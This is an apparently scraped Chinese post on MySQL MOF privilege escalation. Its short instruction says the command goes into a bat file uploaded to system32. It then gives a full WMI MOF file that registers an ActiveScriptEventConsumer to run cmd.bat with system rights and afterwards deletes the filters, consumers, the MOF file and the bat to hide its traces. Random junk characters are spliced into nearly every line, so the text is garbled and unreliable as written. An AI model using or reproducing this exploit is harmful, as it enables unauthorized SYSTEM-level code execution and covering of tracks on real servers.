这个sql提权MOF需要运行 system下的文件,不能定义路径。
6 ~" _* E+ w& _+ X7 r需要将要运行的命令写入到bat上传到system32目录,然后执行。
. C* L, f! g- M( |; R2 {! \5 O/ |: V3 J, G4 [3 r# u- }
这个sql提权MOF需要运行 system下的文件,不能定义路径。0 P; a& \6 d& `7 @6 R' R
需要将要运行的命令写入到bat上传到system32目录,然后执行。
$ o/ E& G: X. ^, T3 e% B2 p
$ y0 b& ]6 u% h5 ]( X#pragma' {4 Y/ |! U8 G, ~
namespace("\\\\.\\root\\cimv2")
" l, ~" Q$ C& e$ p2 Q class
# I$ Z; N. e4 ~" o' v MyClass547
, d7 n/ ^% G+ P7 K/ S1 C& J5 P R9 c { [key]/ g$ o$ b& `( G) I! T0 o
string
- a# x+ ~3 e- \3 T0 h* o Name;% |% x; O0 F1 r0 a& z7 Q- N
};& X( }9 }, G6 Y" @$ x7 d& w* d
class
6 ]0 K9 Q+ K( h |6 p7 J9 i0 t, w ActiveScriptEventConsumer6 M4 e0 E$ w( v: c1 [* O0 X
: __EventConsumer { [key]
U3 `0 h" p# A. L string
6 N% B* _/ E% ]+ t5 R1 k k Name; [not_null]1 m0 x$ @$ T- Y! [, J2 d
string
; a% O3 }; F$ G3 S! u2 G) E; K6 y- S ScriptingEngine; string
' L# o' U6 @6 [, V ScriptFileName; [template]3 P8 [$ b- j; ^) C! X6 U
string- z) y+ V9 E! c2 P% m. F
ScriptText; uint32 KillTimeout;
1 I% j9 q" _" a$ O/ d6 G( J }; instance of __Win32Provider as $P {
9 G% U: j) H1 f$ F Name- ?5 l% `3 e+ O m) h& r
=# i" p7 K8 r0 |5 i- g' t& c
"ActiveScriptEventConsumer"; CLSID =
4 k9 m; @7 G( Q& f2 {* `# V "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
% _8 E, G- O, c8 N+ q7 w PerUserInitialization2 A) j! A7 F* N1 X6 L9 O- B
= TRUE;' _8 v$ B- V8 t9 H7 h6 B
}; instance of __EventConsumerProviderRegistration { Provider
3 e$ ^6 _& W- x6 M/ G = $P; ConsumerClassNames2 Y W4 V: T' v7 o3 y' Y9 f6 T
=( M* P5 C& H n r
{"ActiveScriptEventConsumer"};& B& k+ [# F; F. U, n% F
};
) L: P' M2 J( F$ F+ [" P8 _ Instance of ActiveScriptEventConsumer! h7 {: m3 [ E; G4 D9 w
as $cons { Name
2 X, x# o! C# I# f =
. T5 p! A' @/ L, n "ASEC"; ScriptingEngine
: d( {* d2 Z7 B/ V, g$ @ =
2 j& s4 b8 F* t "JScript"; ScriptText
) m8 O4 I; {9 K9 D0 K/ Y% x =
* r. F- D3 Z, u. l7 `+ V1 _ "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
, @+ P2 P" V1 m Instance of ActiveScriptEventConsumer7 P: D4 d8 a) K, l' i# Y+ [9 ]( i
as $cons2 { Name
8 {$ L5 N' h8 _: x$ q1 E =
0 _0 Z; F- `6 ? "qndASEC"; ScriptingEngine
4 s# I9 \1 x9 o" g0 E" n2 ~! L! { =! z% b4 J- G+ i0 m1 N; Q
"JScript"; ScriptText
, m5 b: `: z2 n1 R$ U/ S$ A1 O0 v$ G( W =5 h4 p0 @$ V; L! d
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
: W0 `; b `' w) y) q6 Q }; instance of __EventFilter as $Filt { Name
% W, [: t5 v" p1 o* M3 m+ }8 K1 { =
, A( I+ U n. N0 \) e "instfilt"; Query
8 @ s' m9 g- p$ X. E =: d/ Q5 J$ `8 l+ l/ J* S9 H: {
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
4 U, R: H, K" d: C4 w, o2 j. \ =
/ d) R: O6 l9 j8 o5 q) q: Q "WQL"; }; instance of __EventFilter as $Filt2 { Name
! \3 a# _, o' i- ?7 m =) a! H2 q, E0 I' U0 g
"qndfilt"; Query
1 N; v" j* _ K2 i2 Y) i( ^; U' m* B =2 v$ R; m& R: A' s# R
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage3 D b& `' e+ [) }
=6 A0 @0 W% F7 U N+ c
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
9 M/ R/ W, v! C. c = $cons; Filter! u# s, G' ^4 o+ c J: f
= $Filt;( P8 `" R4 @ r
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
m; c; }# Q. N3 _ = $cons2; Filter
& s6 H/ j- ]% z6 i3 M- V( `' J! \ = $Filt2;
5 n' N% G Q( T% f& g }; instance of MyClass547& V. @" R$ x1 I# |
as $MyClass { Name- X8 g" N ?) W; y5 U& q4 \) G
=% f7 Y3 z& o6 m
"ClassConsumer";
' [& k/ z6 @# s }; |